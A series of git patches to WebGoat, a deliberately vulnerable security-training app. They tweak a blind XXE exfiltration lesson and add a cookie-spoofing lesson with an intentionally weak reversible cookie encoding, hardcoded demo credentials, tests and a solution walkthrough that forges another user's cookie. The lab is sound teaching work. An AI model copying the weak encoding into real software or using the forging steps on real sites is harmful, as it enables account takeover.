From 42369816c94cb5a92d7a4b53eb6cd01df5bacb93 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Fri, 17 Sep 2021 13:46:58 +0200 Subject: [PATCH 001/227] 1026 (#1047) * Move back to Java 15 as XML parsers fail with XXE lesson * Documentation improvement --- docker/Dockerfile | 2 +- .../main/resources/lessonPlans/en/XXE_blind_assignment.adoc | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docker/Dockerfile b/docker/Dockerfile index 1437def53..3047632a2 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:16-slim +FROM openjdk:15-slim ARG webgoat_version=8.2.1-SNAPSHOT ENV webgoat_version_env=${webgoat_version} diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc index e7d2d112a..f80227542 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc @@ -1,6 +1,6 @@ == Blind XXE assignment -In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD. The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files: +In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of a file `secret.txt` from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD. The `secret.txt` is located on the WebGoat server in this location, so you do not need to scan all directories and files: |=== @@ -13,4 +13,4 @@ In the previous page we showed you how you can ping a server with a XXE attack, Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink,target=landing]` (NOTE: this endpoint is under your full control) -Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson. \ No newline at end of file +Once you obtained the contents of the file post it as a new comment on the page, and you will solve the lesson. \ No newline at end of file From a4218b00163f043cf744a84d77546d5cab70b71d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ren=C3=A9=20Zubcevic?= Date: Fri, 17 Sep 2021 17:10:15 +0200 Subject: [PATCH 002/227] Update start.sh 10 seconds is sometime to fast. WebWolf will fail to start if the database of WebGoat is not up. --- docker/start.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/start.sh b/docker/start.sh index b1194e169..de84b044a 100644 --- a/docker/start.sh +++ b/docker/start.sh @@ -16,7 +16,7 @@ java \ --add-opens java.base/java.io=ALL-UNNAMED \ -jar webgoat.jar --webgoat.build.version="$1" --server.address=0.0.0.0 > webgoat.log & -sleep 10 +sleep 30 echo "Starting WebWolf..." java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webwolf.log & From 8e567b0f86ddb124c8393a111d65115c0e0756c0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Sun, 8 Aug 2021 23:30:05 +0200 Subject: [PATCH 003/227] Spoofing an Authentication Cookie lesson --- .../org/owasp/webgoat/lessons/Category.java | 2 +- webgoat-lessons/pom.xml | 1 + webgoat-lessons/spoof-cookie/pom.xml | 58 +++++ .../webgoat/spoofcookie/SpoofCookie.java | 47 ++++ .../spoofcookie/SpoofCookieAssignment.java | 121 +++++++++++ .../webgoat/spoofcookie/encoders/EncDec.java | 98 +++++++++ .../src/main/resources/html/SpoofCookie.html | 32 +++ .../resources/i18n/WebGoatLabels.properties | 7 + .../src/main/resources/js/handler.js | 31 +++ .../lessonPlans/en/SpoofCookie_content0.adoc | 30 +++ .../lessonPlans/en/SpoofCookie_plan.adoc | 18 ++ .../en/SpoofCookie_solution.adoc | 88 ++++++++ .../lessonSolutions/html/SpoofCookie.html | 14 ++ .../src/main/resources/templates/form.html | 30 +++ .../SpoofCookieAssignmentTest.java | 205 ++++++++++++++++++ .../spoofcookie/encoders/EncDecTest.java | 89 ++++++++ webgoat-server/pom.xml | 5 + 17 files changed, 875 insertions(+), 1 deletion(-) create mode 100644 webgoat-lessons/spoof-cookie/pom.xml create mode 100644 webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookie.java create mode 100644 webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignment.java create mode 100644 webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/encoders/EncDec.java create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/i18n/WebGoatLabels.properties create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/js/handler.js create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_content0.adoc create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_plan.adoc create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/en/SpoofCookie_solution.adoc create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/html/SpoofCookie.html create mode 100644 webgoat-lessons/spoof-cookie/src/main/resources/templates/form.html create mode 100644 webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignmentTest.java create mode 100644 webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/encoders/EncDecTest.java diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java index c2dc60343..e510ca14a 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java @@ -48,6 +48,7 @@ public enum Category { XSS("(A7) Cross-Site Scripting (XSS)", 307), INSECURE_DESERIALIZATION("(A8) Insecure Deserialization", 308), VULNERABLE_COMPONENTS("(A9) Vulnerable Components", 309), + SESSION_MANAGEMENT("(A10) Session Management Flaws", 310), REQUEST_FORGERIES("(A8:2013) Request Forgeries", 318), @@ -66,7 +67,6 @@ public enum Category { DOS("Denial of Service", 1500), MALICIOUS_EXECUTION("Malicious Execution", 1600), CLIENT_SIDE("Client side", 1700), - SESSION_MANAGEMENT("Session Management Flaws", 1800), WEB_SERVICES("Web Services", 1900), ADMIN_FUNCTIONS("Admin Functions", 2000), CHALLENGE("Challenges", 3000); diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 42be3473c..52cf5b8f0 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -41,6 +41,7 @@ webgoat-lesson-template crypto path-traversal + spoof-cookie diff --git a/webgoat-lessons/spoof-cookie/pom.xml b/webgoat-lessons/spoof-cookie/pom.xml new file mode 100644 index 000000000..a1542e2ed --- /dev/null +++ b/webgoat-lessons/spoof-cookie/pom.xml @@ -0,0 +1,58 @@ + + 4.0.0 + spoof-cookie + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + 8.2.1-SNAPSHOT + + + + 0.8.7 + + + + + + coverage + + false + + + + + org.jacoco + jacoco-maven-plugin + ${jacoco.version} + + + default-prepare-agent + + prepare-agent + + + + default-report + verify + + report + + + ${project.build.directory}/jacoco.exec + ${project.reporting.outputDirectory}/jacoco + + **/SpoofCookie.* + + + + + + + + + + + diff --git a/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookie.java b/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookie.java new file mode 100644 index 000000000..41382a4d0 --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookie.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.spoofcookie; + +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class SpoofCookie extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.SESSION_MANAGEMENT; + } + + @Override + public String getTitle() { + return "spoofcookie.title"; + } +} diff --git a/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignment.java b/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignment.java new file mode 100644 index 000000000..2f7fd4a26 --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignment.java @@ -0,0 +1,121 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.spoofcookie; + +import java.util.Map; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.spoofcookie.encoders.EncDec; +import org.springframework.web.bind.UnsatisfiedServletRequestParameterException; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +public class SpoofCookieAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "spoof_auth"; + private static final String COOKIE_INFO = "Cookie details for user %s:
" + COOKIE_NAME + "=%s"; + private static final String ATTACK_USERNAME = "tom"; + + private static final Map users = Map.of( + "webgoat", "webgoat", + "admin", "admin", + ATTACK_USERNAME, "apasswordfortom"); + + @PostMapping(path = "/SpoofCookie/login") + @ResponseBody + @ExceptionHandler(UnsatisfiedServletRequestParameterException.class) + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + if (StringUtils.isEmpty(cookieValue)) { + return credentialsLoginFlow(username, password, response); + } else { + return cookieLoginFlow(cookieValue); + } + } + + @GetMapping(path = "/SpoofCookie/cleanup") + public void cleanup(HttpServletResponse response) { + Cookie cookie = new Cookie(COOKIE_NAME, ""); + cookie.setMaxAge(0); + response.addCookie(cookie); + } + + private AttackResult credentialsLoginFlow(String username, String password, HttpServletResponse response) { + String lowerCasedUsername = username.toLowerCase(); + if (ATTACK_USERNAME.equals(lowerCasedUsername) && users.get(lowerCasedUsername).equals(password)) { + return informationMessage(this).feedback("spoofcookie.cheating").build(); + } + + String authPassword = users.getOrDefault(lowerCasedUsername, ""); + if (!authPassword.isBlank() && authPassword.equals(password)) { + String newCookieValue = EncDec.encode(lowerCasedUsername); + Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue); + newCookie.setPath("/WebGoat"); + newCookie.setSecure(true); + response.addCookie(newCookie); + return informationMessage(this).feedback("spoofcookie.login").output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue())).build(); + } + + return informationMessage(this).feedback("spoofcookie.wrong-login").build(); + } + + private AttackResult cookieLoginFlow(String cookieValue) { + String cookieUsername; + try { + cookieUsername = EncDec.decode(cookieValue).toLowerCase(); + } catch (Exception e) { + // for providing some instructive guidance, we won't return 4xx error here + return failed(this).output(e.getMessage()).build(); + } + if (users.containsKey(cookieUsername)) { + if (cookieUsername.equals(ATTACK_USERNAME)) { + return success(this).build(); + } + return failed(this).feedback("spoofcookie.cookie-login").output(String.format(COOKIE_INFO, cookieUsername, cookieValue)).build(); + } + + return failed(this).feedback("spoofcookie.wrong-cookie").build(); + } + +} diff --git a/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/encoders/EncDec.java b/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/encoders/EncDec.java new file mode 100644 index 000000000..71ffc8b3d --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/java/org/owasp/webgoat/spoofcookie/encoders/EncDec.java @@ -0,0 +1,98 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.spoofcookie.encoders; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import org.apache.commons.lang3.RandomStringUtils; +import org.springframework.security.crypto.codec.Hex; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +public class EncDec { + + // PoC: weak encoding method + + private static final String SALT = RandomStringUtils.randomAlphabetic(10); + + private EncDec() { + + } + + public static String encode(final String value) { + if (value == null) { + return null; + } + + String encoded = value.toLowerCase() + SALT; + encoded = revert(encoded); + encoded = hexEncode(encoded); + return base64Encode(encoded); + } + + public static String decode(final String encodedValue) throws IllegalArgumentException { + if (encodedValue == null) { + return null; + } + + String decoded = base64Decode(encodedValue); + decoded = hexDecode(decoded); + decoded = revert(decoded); + return decoded.substring(0, decoded.length() - SALT.length()); + } + + private static String revert(final String value) { + return new StringBuilder(value) + .reverse() + .toString(); + } + + private static String hexEncode(final String value) { + char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8)); + return new String(encoded); + } + + private static String hexDecode(final String value) { + byte[] decoded = Hex.decode(value); + return new String(decoded); + } + + private static String base64Encode(final String value) { + return Base64 + .getEncoder() + .encodeToString(value.getBytes()); + } + + private static String base64Decode(final String value) { + byte[] decoded = Base64 + .getDecoder() + .decode(value.getBytes()); + return new String(decoded); + } + +} diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html b/webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html new file mode 100644 index 000000000..7a41f948d --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html @@ -0,0 +1,32 @@ + + + + + + + + + +
+
+
+ + +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ + diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/spoof-cookie/src/main/resources/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..4f4aed4aa --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +spoofcookie.title=Spoofing an Authentication Cookie + +spoofcookie.wrong-login=Login failed. +spoofcookie.login=Logged in using credentials. Cookie created, see below. +spoofcookie.cookie-login=Logged in using cookie. +spoofcookie.wrong-cookie=Wrong cookie sent. +spoofcookie.cheating=Don't cheat! diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/js/handler.js b/webgoat-lessons/spoof-cookie/src/main/resources/js/handler.js new file mode 100644 index 000000000..1a1cddbb4 --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/js/handler.js @@ -0,0 +1,31 @@ +function getCookieValue() { + var cookie = document.cookie.match(new RegExp('(^| )spoof_auth=([^;]+)')); + if (cookie != null) + return [2]; + return null; +} + +function cleanup() { + document.cookie = 'spoof_auth=;Max-Age=0;secure=true'; + $('#spoof_username').removeAttr('disabled'); + $('#spoof_password').removeAttr('disabled'); + $('#spoof_submit').removeAttr('disabled'); + $('#spoof_attack_feedback').html(''); + $('#spoof_attack_output').html(''); +} + +var target = document.getElementById('spoof_attack_feedback'); + +var obs = new MutationObserver(function(mutations) { + mutations.forEach(function() { + var cookie = getCookieValue(); + if (cookie) { + $('#spoof_username').prop('disabled', true); + $('#spoof_password').prop('disabled', true); + $('#spoof_submit').prop('disabled', true); + } + }); +}); + +obs.observe(target, { characterData: false, attributes: false, childList: true, subtree: false }); + diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_content0.adoc b/webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_content0.adoc new file mode 100644 index 000000000..132e11bc4 --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_content0.adoc @@ -0,0 +1,30 @@ += Spoofing an Authentication Cookie + +Bypass the authentication mechanism by spoofing an authentication cookie. + +*Notes about the login system* + +When an authentication cookie is sent, the system will log in the user directly if the cookie is valid. + +When a cookie is not sent, but credentials provided are correct, the system will create an authentication cookie. + +The login will be denied on any other cases. + +Pay attention to the feedback message that you will get during the attacks. + +Known credentials: + +[frame=ends] +|=== +|user name |password + +|webgoat +|webgoat + +|admin +|admin +|=== + +*Goal* + +When you understand how the authentication cookie is generated, try to _spoof_ the cookie and login as Tom. diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_plan.adoc b/webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_plan.adoc new file mode 100644 index 000000000..cad7f7ba7 --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/lessonPlans/en/SpoofCookie_plan.adoc @@ -0,0 +1,18 @@ += Spoofing an Authentication Cookie + +== Concept + +Authentication Cookies are used for services that require authentication, when the user logs in with a personal user name and password, the server validates the provided credentials and if those are valid, it creates a session. + +Every session usually has a unique ID that identifies the user's session; when the server returns the response to the user, it includes a Set-Cookie header that contains, among other things, the cookie name and value. + +The authentication cookie is typically stored on the client and server side. + +On the one hand, having the cookie stored on the client side implies that can be stolen by exploiting certain vulnerabilities or intercepted using man in the middle attacks or XSS. On the other, cookie values can be guessed if the algorithm for generating the cookie can be obtained. + +Many applications will automatically login a user if the right authentication cookie is provided. + + +== Goals + +The user should be able to guess the cookie generation algorithm and bypass the authentication mechanism by logging in as a different user. diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/en/SpoofCookie_solution.adoc b/webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/en/SpoofCookie_solution.adoc new file mode 100644 index 000000000..6d867e3a3 --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/en/SpoofCookie_solution.adoc @@ -0,0 +1,88 @@ += Spoofing an Authentication Cookie + +== Solution + +Some standard Linux tools have been used on this solution; other kind of tools -like online tools- can be used and the same results should be obtained. + +=== Analysis and reversing + +Inspect the webgoat user spoof_auth cookie value: + +[source, text] +---- +NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw== +---- + +It look like a base64 encoded text. + +Decoding the base64 text: + +[source, sh] +---- +echo NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw== | base64 -d +63794a4f484b5449574574616f67626577 +---- + +Now, it look like a hexadecimal encoded text. + +Hexadecimal text decoding: + +[source, sh] +---- +echo 63794a4f484b5449574574616f67626577 | xxd -p -r +cyJOHKTIWEtaogbew +---- + +Now, reverse the text: + +[source, text] +---- +webgoatEWITKHOJyc +---- + +We can see the user name with some random text appended. If we request some more different cookies for the same user, we will observe that the cookie generation appends random text of ten characters together with the user name, after it reverses the whole string and encodes it as hexadecimal and base64 respectively. + +=== Attacking the system + +Let's see how to forge our authentication cookie for tom. + +Our initial string will be the user name and a random text of ten characters. + +[source,text] +---- +tomAAAAAAAAAA +---- + +Reverse it: + +[source, text] +---- +AAAAAAAAAAmot +---- + +Now, encode the text to hexadecimal: + +[source,text] +---- +# warn: do not encode any whitespace or new line character +echo -n AAAAAAAAAAmot | xxd -ps +414141414141414141416d6f74 +---- + +Encode to base64: + +[source,text] +---- +# warn: do not encode any whitespace or new line character +echo -n 414141414141414141416d6f74 | base64 +NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ= +---- + +The spoof_auth cookie value is: + +[source,text] +---- +NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ= +---- + +Finally, send the cookie to the system using any method that you prefer; OWASP ZAP, curl, the browser developer tools, etc. diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/html/SpoofCookie.html b/webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/html/SpoofCookie.html new file mode 100644 index 000000000..c2dafc5aa --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/lessonSolutions/html/SpoofCookie.html @@ -0,0 +1,14 @@ + + + + + + +
+ + +
+
+ + + \ No newline at end of file diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/templates/form.html b/webgoat-lessons/spoof-cookie/src/main/resources/templates/form.html new file mode 100644 index 000000000..dce39cd1a --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/main/resources/templates/form.html @@ -0,0 +1,30 @@ +
+
+
+
+

Account Access

+
+
+ + +
+
+ +
+ + +
+
+
+
+
diff --git a/webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignmentTest.java b/webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignmentTest.java new file mode 100644 index 000000000..acec30454 --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/SpoofCookieAssignmentTest.java @@ -0,0 +1,205 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.spoofcookie; + +import static org.hamcrest.Matchers.emptyString; +import static org.hamcrest.Matchers.not; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; +import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; + +import java.util.stream.Stream; + +import javax.servlet.http.Cookie; + +import org.hamcrest.CoreMatchers; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.mockito.junit.jupiter.MockitoExtension; +import org.owasp.webgoat.assignments.AssignmentEndpointTest; +import org.springframework.http.MediaType; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.ResultActions; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@ExtendWith(MockitoExtension.class) +class SpoofCookieAssignmentTest extends AssignmentEndpointTest { + + private MockMvc mockMvc; + private static final String COOKIE_NAME = "spoof_auth"; + private static final String LOGIN_CONTEXT_PATH = "/SpoofCookie/login"; + private static final String ERASE_COOKIE_CONTEXT_PATH = "/SpoofCookie/cleanup"; + + @BeforeEach + void setup() { + SpoofCookieAssignment spoofCookieAssignment = new SpoofCookieAssignment(); + init(spoofCookieAssignment); + mockMvc = standaloneSetup(spoofCookieAssignment).build(); + } + + @Test + @DisplayName("Lesson completed") + void success() throws Exception { + Cookie cookie = new Cookie(COOKIE_NAME, "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZDZmNzQ="); + + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .cookie(cookie) + .param("username", "") + .param("password", "")); + + result.andExpect(status().isOk()); + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + + } + + @Test + @DisplayName("Valid credentials login without authentication cookie") + void validLoginWithoutCookieTest() throws Exception { + String username = "webgoat"; + String password = "webgoat"; + + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", username) + .param("password", password)); + + result.andExpect(status().isOk()); + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + result.andExpect(content().contentType(MediaType.APPLICATION_JSON_VALUE)); + result.andExpect(cookie().value(COOKIE_NAME, not(emptyString()))); + + } + + @ParameterizedTest + @MethodSource("providedCookieValues") + @DisplayName("Tests different invalid/valid -but not solved- cookie flow scenarios: " + + "1.- Invalid encoded cookie sent. " + + "2.- Valid cookie login (not tom) sent. " + + "3.- Valid cookie with not known username sent ") + void cookieLoginNotSolvedFlow(String cookieValue) throws Exception { + Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); + mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .cookie(cookie) + .param("username", "") + .param("password", "")) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } + + @Test + @DisplayName("UnsatisfiedServletRequestParameterException test for missing username") + void invalidLoginWithUnsatisfiedServletRequestParameterExceptionOnUsernameMissing() throws Exception { + mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("password", "anypassword")) + .andExpect(status().is4xxClientError()); + } + + @Test + @DisplayName("UnsatisfiedServletRequestParameterException test for missing password") + void invalidLoginWithUnsatisfiedServletRequestParameterExceptionOnPasswordMissing() throws Exception { + mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", "webgoat")) + .andExpect(status().is4xxClientError()); + } + + @Test + @DisplayName("Invalid blank credentials login") + void invalidLoginWithBlankCredentials() throws Exception { + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", "") + .param("password", "")); + + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + + } + + @Test + @DisplayName("Invalid blank password login") + void invalidLoginWithBlankPassword() throws Exception { + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", "webgoat") + .param("password", "")); + + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + + } + + @Test + @DisplayName("cheater test") + void cheat() throws Exception { + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", "tom") + .param("password", "apasswordfortom")); + + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } + + @Test + @DisplayName("Invalid login with tom username") + void invalidTomLogin() throws Exception { + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", "tom") + .param("password", "")); + + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } + + @Test + @DisplayName("Erase authentication cookie") + void eraseAuthenticationCookie() throws Exception { + mockMvc.perform(MockMvcRequestBuilders + .get(ERASE_COOKIE_CONTEXT_PATH)) + .andExpect(status().isOk()) + .andExpect(cookie().maxAge(COOKIE_NAME, 0)) + .andExpect(cookie().value(COOKIE_NAME, "")); + + } + + private static Stream providedCookieValues() { + return Stream.of( + 